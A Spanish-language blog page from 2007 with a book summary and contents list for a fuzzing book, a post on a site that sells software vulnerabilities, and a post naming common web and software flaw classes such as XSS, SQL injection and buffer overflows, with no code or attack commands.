El libro incluye:

  • Porqué el fuzzing simplifica el testeo del diseño y obtiene otros métodos perdidos de encontrar fallos.
  • El proceso del fuzzing: desde identificar entradas de datos a evaluar si es explotable.
  • Entendiendo los requerimientos necesarios para un fuzzing efectivo.
  • Comparaciones entre fuzzers basados en mutación y en generación.
  • Usando y automatizando el fuzzing de variables de entorno y argumentos.
  • Dominando las técnicas de fuzzing en memoria.
  • Construyendo frameworks y herramientas de fuzzing personalizadas.
  • Implementando sistemas inteligentes de deteccion de errores.
Los atacantes normalmente usan fuzzing. Tú deberías también. Si tu eres un programador, ingeniero de seguridad, tester o un especialista QA, este libro te enseñara como construir software seguro.

Índice del libro:

Foreword
Preface
Acknowledgments
About the author

Part I: Background
Chapter 1: Vulnerability Discovery Methodologies
Chapter 2: What Is Fuzzing?
Chapter 3: Fuzzing Methods and Fuzzer Types
Chapter 4: Data Representation and Analysis
Chapter 5: Requirements for Effective Fuzzing

Part II: Targets and Automation
Chapter 6: Automation and Data Generation
Chapter 7: Enviroment Variable and Argument Fuzzing
Chapter 8: Enviroment Variable and Argument Fuzzing: Automation
Chapter 9: Web Application and Server Fuzzing
Chapter 10: Web Application and Server Fuzzing: Automation
Chapter 11: File Format Fuzzing
Chapter 12: File Format Fuzzing: Automation on UNIX
Chapter 13: File Format Fuzzing: Automation on Windows
Chapter 14: Network Protocol Fuzzing
Chapter 15: Network Protocol Fuzzing: Automation on UNIX
Chapter 16: Network Protocol Fuzzing: Automation on Windows
Chapter 17: Web Browser Fuzzing
Chapter 18: Web Browser Fuzzing: Automation
Chapter 19: In-Memory Fuzzing
Chapter 20:In-Memory Fuzzing: Automation

Part III: Advanced Fuzzing Technologies
Chapter 21: Fuzzing Frameworks
Chapter 22: Automated Protocol Dissection
Chapter 23: Fuzzer Tracking
Chapter 24: Intelligent Fault Detection

Part IV: Looking Forward
Chapter 25: Lessons Learned
Chapter 26: Looking Forward

Index

Fuente:Amazon.com - Fuzzing

sábado, 6 de octubre de 2007

Vendiendo Vulnerabilidades

Hace relativamente poco tiempo parecia que iba a causar furor una web de este tipo y que se iba a acabar el ser buena persona y reportarlos gratuitamente como se ha hecho la mayoria de veces, pero una web Wabisabilabi en la que ponian los fallos y el dinero que vale, lo mas gracioso que era de preveer es que la gente que estaba en contra de esto, han empezado a ver la web para que posteen uno y buscar el bug y publicarlo antes de que se venda, y a mi parecer hacen bien que lo hagan gratuitamente, es mas yo estare atento alguna que otra vez para ver si puedo hacer algo, porque asi no se trafica tanto con la informacion jeje, y bueno la verdad que lo venden muy caro para el sotfware que es, asi que vendan lo que puedan pero eso si en poco tiempo o ya no servira.


PD: Para los que publican los bugs gratuitamente una enhorabuena a todos, eso si no habria muchos si se programase mejor y se vigilase desde el principio eso :P

jueves, 27 de septiembre de 2007

Errores de programacion

El principal problema de los llamados Hackers...prefiero llamarles Defacers mejor que es a lo que se dedican o eso nos hacen creer, tratan de modificar muchas veces el contenido de webs, o tambien los Crackers como alguien que entra en un sistema para hacer cosas ilegales y que perjudican al usuario, aunque eso de crackers se utiliza mas para los que estudian Ing. Inversa por lo que deberian llamarlos mas Ingenieros Inversos o algo asi jeje.
Tanto es asi que en la sociedad a los "Hackers" en la sociedad se les mira mal o lo usan de mala manera cuando muchos de ellos son los que arreglan los fallos de programacion al avisar de ellos y ayudan a mejorar el sistema. Entre los fallos mas importantes estan:

A nivel web:
Los que suelen ser por problemas de codigo de programacion para diseño de paginas web y que permiten hacer a un atacante muchas otras cosas como phising, intrusion total al servidor, sacar datos, contraseñas debiles y estudios de algoritmos para saltarse protecciones. Los fallos mas comunes son:
-XSS(Cross Site Scripting)
-CSRF(Cross site request forgery)
-RFI Y LFI(Remote/Local File Inclusion)
-INYECCIÓN SQL/LDAP/X-PATH
-VER CODIGO FUENTE SIN OFUSCAR(Java,Flash, Javascript...)

A nivel de software:
Los problemáticos que permiten principalmente ejecutar codigo arbitrario en la maquina o ganar permisos de admin son:
-BUFFER OVERFLOWS(Stack, Heap, Format String...)
-DOS/DDOS(Ataque de Denegación de Servicio, Distribuido)
-CODIGOS QUE PERMITEN BYPASSEAR PROTECCIONES(En php por ejemplo)
-OTRAS TECNICAS

Conociendo estas tecnicas muy bien y teniendo buena informacion es posible ya encontrar tus propios bugs y asi tener cuidado programando, es algo en lo que fallan las empresas, que se olvidan de la seguridad y luego llegan las consecuencias...por lo tanto deberian ponerse a enseñar como minimo estos fallos, dependiendo de lo que esten haciendo yentre todos ayudar a que haya mas info en español, asi que dentro de nada os escribo un articulo de una de nivel web que este lo mas completa y viendo todo tecnicamente y practicamente, ya que lo que busque en español siempre se repite, y lo del ingles habia buena info pero dispersada.